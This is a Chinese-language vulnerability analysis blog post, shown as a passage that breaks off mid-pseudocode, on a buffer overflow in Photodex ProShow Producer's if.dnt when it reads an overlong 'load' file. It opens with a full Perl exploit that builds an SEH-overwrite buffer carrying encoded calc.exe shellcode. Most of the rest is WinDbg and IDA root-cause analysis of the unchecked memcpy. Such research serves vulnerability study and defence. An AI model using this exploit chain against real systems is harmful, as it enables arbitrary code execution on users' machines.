作者:k0shl 转载请注明出处:http://whereisk0shl.top
漏洞说明
软件下载:
https://www.exploit-db.com/apps/4ebfe36538da7b518c2221e1abd8dcfc-pspro_50_3310.exe
PoC:
my $buffsize = 15000; # keep size of exploit buffer consistent
my $shell = "\x90" x 100; # since we're jumping ~60 bytes past the start of our buffer
# start the shellcode with enough nops
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86ikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = $shell . "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";
my $junk = "\x41" x (9844 - length($shell)); # 9844 is the offset to nseh
my $nseh = "\xeb\x08\x90\x90"; # overwrite next seh with jmp instruction
my $seh = pack('V',0x1022adc9); # overwrite seh handler with pop ebx pop eax ret
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
# C:\Program Files\Photodex\ProShow Producer\if.dnt
# we don't have enough space to execute shellcode after the nseh jump
# there is enough space at esp + 1041 which points back to the beginning
# of our buffer so we'll use this limited spaceto increment esp and jump to it
my $jmp = "\x90" x 20; # start the jmp code with some nops
my $jmp = $jmp . "\x41\x41"; # align so add esp executes properly
my $jmp = $jmp . "\x83\xc4\x64" x 11; # increment esp before we jump to it; (add esp, 100) x 11 = esp + 1100
my $jmp = $jmp . "\xff\xe4"; # jmp esp
my $sploit = $shell.$junk.$nseh.$seh.$jmp; # concatenate the sploit portion of the buffer
my $fill = "\x42" x ($buffsize - length($sploit)); # fill the remainder of the buffer with junk to keep it consistent
my $buffer = $sploit.$fill; # build the final buffer
# write the exploit buffer to file
my $file = "load";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file [" . $file . "] created\n";
print "Buffer size: " . length($buffer) . "\n";
调试环境:
Windows xp sp3
这个PoC在EDB上,可以直接在kali2.0下用perl直接生成一个.dnt文件,替换Photodex下的dnt文件,在加载的时候会触发漏洞,这个PoC具有一个完整的攻击链,可以将shellcode部分,跳板部分修改成畸形字符串确保漏洞触发现场,降低对调试的影响。
漏洞复现
此漏洞是由于Photodex ProShow的if.dnt文件,对load文件内容进行处理时,没有对读取到的内容进行严格的检查,导致执行程序内部定义的memcpy函数时,超长串覆盖了返回地址,从而memcpy函数返回时eip可控。下面对此漏洞进行详细分析。
首先打开程序,程序会自动从本地文件中读取load文件,直接崩溃,附加windbg
(ae4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f135b8 ebx=009d20d4 ecx=000004f5 edx=00000000 esi=00f121e4 edi=00130000
eip=1021f7d3 esp=0012d8fc ebp=0012d904 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt -
if!EncFileStream+0x17a63:
1021f7d3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
可以看到,这里执行了rep movs操作,也就是内存拷贝操作,看一下esi的值。
0:000> dd esi
00f121e4 41414141 41414141 41414141 41414141
00f121f4 41414141 41414141 41414141 41414141
00f12204 41414141 41414141 41414141 41414141
00f12214 41414141 41414141 41414141 41414141
00f12224 41414141 41414141 41414141 41414141
00f12234 41414141 41414141 41414141 41414141
00f12244 41414141 41414141 41414141 41414141
00f12254 41414141 41414141 41414141 41414141
esi地址对应的值是41414141畸形字符串,那么我们继续执行到ret部分。
0:000> g
(ae4.ba4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012d52c ebp=0012d54c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
程序返回时,由于返回地址被覆盖,程序被接管,我们来看一下漏洞触发位置所处的函数。
.text:1021F7A0 ; void *__cdecl memcpy(void *Dst, const void *Src, size_t Size)
.text:1021F7A0 _memcpy proc near ; CODE XREF: RoundSolidColor(x)+10Fp
.text:1021F7A0 ; RoundSolidColor(x)+199p ...
.text:1021F7A0
.text:1021F7A0 Dst = dword ptr 8
.text:1021F7A0 Src = dword ptr 0Ch
.text:1021F7A0 Size = dword ptr 10h
.text:1021F7A0
.text:1021F7A0 push ebp
.text:1021F7A1 mov ebp, esp
.text:1021F7A3 push edi
.text:1021F7A4 push esi
.text:1021F7A5 mov esi, [ebp+Src]
.text:1021F7A8 mov ecx, [ebp+Size]
.text:1021F7AB mov edi, [ebp+Dst]
.text:1021F7AE mov eax, ecx
.text:1021F7B0 mov edx, ecx
.text:1021F7B2 add eax, esi
.text:1021F7B4 cmp edi, esi
.text:1021F7B6 jbe short loc_1021F7C0
.text:1021F7B8 cmp edi, eax
.text:1021F7BA jb loc_1021F938
可以看到,这是自定义的一个memcpy函数,那么我们就由此入手分析漏洞形成的原因。
漏洞分析
1021F7BA这个地址所处的领空明显不是程序领空,我们首先通过lm来查看一下漏洞的dll
10000000 106f3000 if C (export symbols) C:\Program Files\Photodex\ProShow Producer\if.dnt
问题很有可能出现在if.dnt这个dll中,在程序刚刚打开时,if.dnt还没有被加载,首先我们先通过sxe命令对if.dnt下断点,加载dll时会中断。
0:000> sxe ld:if.dnt
0:000> g
ModLoad: 10000000 106f3000 C:\Program Files\Photodex\ProShow Producer\if.dnt
eax=00000000 ebx=00000000 ecx=009a0000 edx=7c92e4f4 esi=00000000 edi=00000000
eip=7c92e4f4 esp=0012f4a8 ebp=0012f59c iopl=0 nv up ei ng nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000296
ntdll!KiFastSystemCallRet:
7c92e4f4 c3 ret
接下来在memcpy函数入口处下断点,但是发现在加载load文件之前,会调用很多次memcpy函数,我们连续步过直到最后一次调用memcpy函数。
0:000> g
Breakpoint 0 hit
eax=00000041 ebx=009d20d4 ecx=00f0fb20 edx=0012d93c esi=00003a98 edi=00003a98
eip=1021f7a0 esp=0012d908 ebp=00f0fb20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
if!EncFileStream+0x17a30:
1021f7a0 55 push ebp
0:000> g
(8f8.d40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00f135b8 ebx=009d20d4 ecx=000004f5 edx=00000000 esi=00f121e4 edi=00130000
eip=1021f7d3 esp=0012d8fc ebp=0012d904 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010212
if!EncFileStream+0x17a63:
1021f7d3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
观察esi,最后一次调用时esi的值为00003a98,这样我们可以下条件断点,以便分析时直接到达关键位置。
0:000> bp 1021f7a0 ".if(@esi=00003a98){}.else{g;}"
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt -
0:000> g
eax=00000041 ebx=009d20d4 ecx=00f0fb20 edx=0012d93c esi=00003a98 edi=00003a98
eip=1021f7a0 esp=0012d908 ebp=00f0fb20 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
if!EncFileStream+0x17a30:
1021f7a0 55 push ebp
0:000> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d904 10021f08 0012d93c 00f0fb20 00003a98 if!EncFileStream+0x17a30
0012d9e4 7c92d0fc 00000000 00000000 0012da2c if!IFSaveDefaultEnv+0x2a28
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
0012d9f4 7c80e9c1 00000000 009d1fb8 00000000 ntdll!ZwCreateMutant+0xc
0:000> dd 00f0fb20
00f0fb20 41414141 41414141 41414141 41414141
00f0fb30 41414141 41414141 41414141 41414141
00f0fb40 41414141 41414141 41414141 41414141
00f0fb50 41414141 41414141 41414141 41414141
00f0fb60 41414141 41414141 41414141 41414141
00f0fb70 41414141 41414141 41414141 41414141
00f0fb80 41414141 41414141 41414141 41414141
可以看到,最后一次memcpy时,拷贝地址已经是畸形数据了,同时我们调用kb看到了进入memcpy前的调用位置,我们回到上层函数分析。通过IDA pro,我们找到了几处关键位置。
.text:10021E3E push 40h ; uStyle
.text:10021E40 push edx ; lpReOpenBuff
.text:10021E41 mov [edi], eax
.text:10021E43 lea eax, [esp+2BCh+FileName]
.text:10021E4A push eax ; lpFileName
.text:10021E4B mov [edi+4], cl
.text:10021E4E call ds:OpenFile
这里调用了文件打开操作,在10021E4E位置下断点,重新加载程序。
0:000> g
Breakpoint 0 hit
eax=0012da40 ebx=009d20d4 ecx=ffffff00 edx=0012db44 esi=00a01318 edi=0012da6b
eip=10021e4e esp=0012d90c ebp=009d1fb8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
if!IFSaveDefaultEnv+0x296e:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
10021e4e ff1508e22210 call dword ptr [if!EncFileStream+0x26498 (1022e208)]
0:000> dc 0012da40
0012da40 505c3a43 72676f72 46206d61 73656c69 C:\Program Files
0012da50 6f68505c 65646f74 72505c78 6f68536f \Photodex\ProSho
0012da60 72502077 6375646f 6c5c7265 0064616f w Producer\load.
可以看到,这里打开了漏洞对应的load文件,接下来。
.text:10021E9F push ebp ; lBytes
.text:10021EA0 push edi ; lpBuffer
.text:10021EA1 push esi ; hFile
.text:10021EA2 call ds:_hread
我们可以看到read函数,这里读取的内容是文件内容,我们下断点来看一下读取前和读取后。
0:000> bp 10021EA2
*** WARNING: Unable to verify checksum for C:\Program Files\Photodex\ProShow Producer\if.dnt
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Photodex\ProShow Producer\if.dnt -
0:000> g
Breakpoint 0 hit
eax=00f0fb20 ebx=009d20d4 ecx=009ea7e8 edx=009ea7e8 esi=00000660 edi=00f0fb20
eip=10021ea2 esp=0012d90c ebp=00003a98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
if!IFSaveDefaultEnv+0x29c2:
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll -
10021ea2 ff1510e22210 call dword ptr [if!EncFileStream+0x264a0 (1022e210)] ds:0023:1022e210={kernel32!lread (7c8353e6)}
0:000> dd eax
00f0fb20 baadf00d baadf00d baadf00d baadf00d
00f0fb30 baadf00d baadf00d baadf00d baadf00d
00f0fb40 baadf00d baadf00d baadf00d baadf00d
00f0fb50 baadf00d baadf00d baadf00d baadf00d
00f0fb60 baadf00d baadf00d baadf00d baadf00d
00f0fb70 baadf00d baadf00d baadf00d baadf00d
00f0fb80 baadf00d baadf00d baadf00d baadf00d
00f0fb90 baadf00d baadf00d baadf00d baadf00d
到达断点位置,这时00f0fb20还是正常内容,接下来。
0:000> p
eax=00003a98 ebx=009d20d4 ecx=7c80189c edx=7c92e4f4 esi=00000660 edi=00f0fb20
eip=10021ea8 esp=0012d918 ebp=00003a98 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
if!IFSaveDefaultEnv+0x29c8:
10021ea8 3bc5 cmp eax,ebp
0:000> dd edi
00f0fb20 41414141 41414141 41414141 41414141
00f0fb30 41414141 41414141 41414141 41414141
00f0fb40 41414141 41414141 41414141 41414141
00f0fb50 41414141 41414141 41414141 41414141
00f0fb60 41414141 41414141 41414141 41414141
00f0fb70 41414141 41414141 41414141 41414141
00f0fb80 41414141 41414141 41414141 41414141
00f0fb90 41414141 41414141 41414141 41414141
read之后edi被畸形字符串填充。接下来调用memcpy会因字符串填充造成返回地址被覆盖。我们来看一下伪代码。
文件打开
v14 = OpenFile(FileName, &ReOpenBuff, 0x40u);//load文件打开
v15 = v14;
if ( v14 != -1 )
{
v21 = llseek(v14, 0, 2);
v19 = v21;
v46 = v21;
llseek(v15, 0, 0);
v18 = (void *)NewMemoryCheckMemAllocLocal(v19, (int)"LoadPlug", (int)"if.c", 4099);
v20 = v18;
v47 = v18;
if ( v18 )
{
if ( hread(v15, v18, v19) == v19 )//load文件读取
{
lclose(v15);
v22 = v46;
for ( i = 0; i < v22; ++i )
{
for ( j = i; j < v22; ++j )
{
v25 = *((_BYTE *)v20 + j);
if ( v25 == 10 )
break;
if ( v25 == 13 )
break;
}
if ( j != i )
{
memcpy(&Dst, (char *)v47 + i, j - i);//调用造成溢出